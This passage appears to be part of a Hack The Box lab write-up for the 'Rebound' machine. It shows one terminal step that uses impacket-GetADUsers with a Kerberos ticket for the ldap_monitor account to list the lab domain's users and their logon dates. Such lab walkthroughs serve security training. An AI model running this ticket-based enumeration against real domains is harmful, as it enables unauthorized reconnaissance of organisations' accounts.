Username Extraction
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=ldap_monitor@dc01.rebound.htb.ccache impacket-GetADUsers rebound.htb/ -dc-ip $IP -k -no-pass -all
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Querying DC01 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
administrator 2023-04-08 11:11:04.499239 2023-09-11 05:30:42.611280
Guest <never> <never>
krbtgt 2023-04-07 16:01:58.922746 <never>
ppaul 2023-04-08 10:57:31.326952 <never>
llune 2023-04-08 10:59:02.280885 <never>
fflock 2023-04-08 10:59:42.593045 <never>
jjones 2023-04-08 11:02:52.045675 2023-09-11 07:40:30.954853
mmalone 2023-04-08 11:03:23.405674 <never>
nnoon 2023-04-08 11:03:35.124674 <never>
ldap_monitor 2023-04-08 11:07:56.123753 2023-09-11 07:44:27.423625
oorend 2023-04-08 11:07:56.217529 2023-09-11 06:42:49.689215
winrm_svc 2023-09-11 07:45:01.251706 2023-09-11 06:31:49.142378
batch_runner 2023-09-11 07:45:01.907956 2023-04-09 12:22:12.624455
tbrady 2023-04-08 11:08:31.717473 2023-09-11 05:30:45.079828 Extracting the domain user using the generated TGT of the ldap_monitor account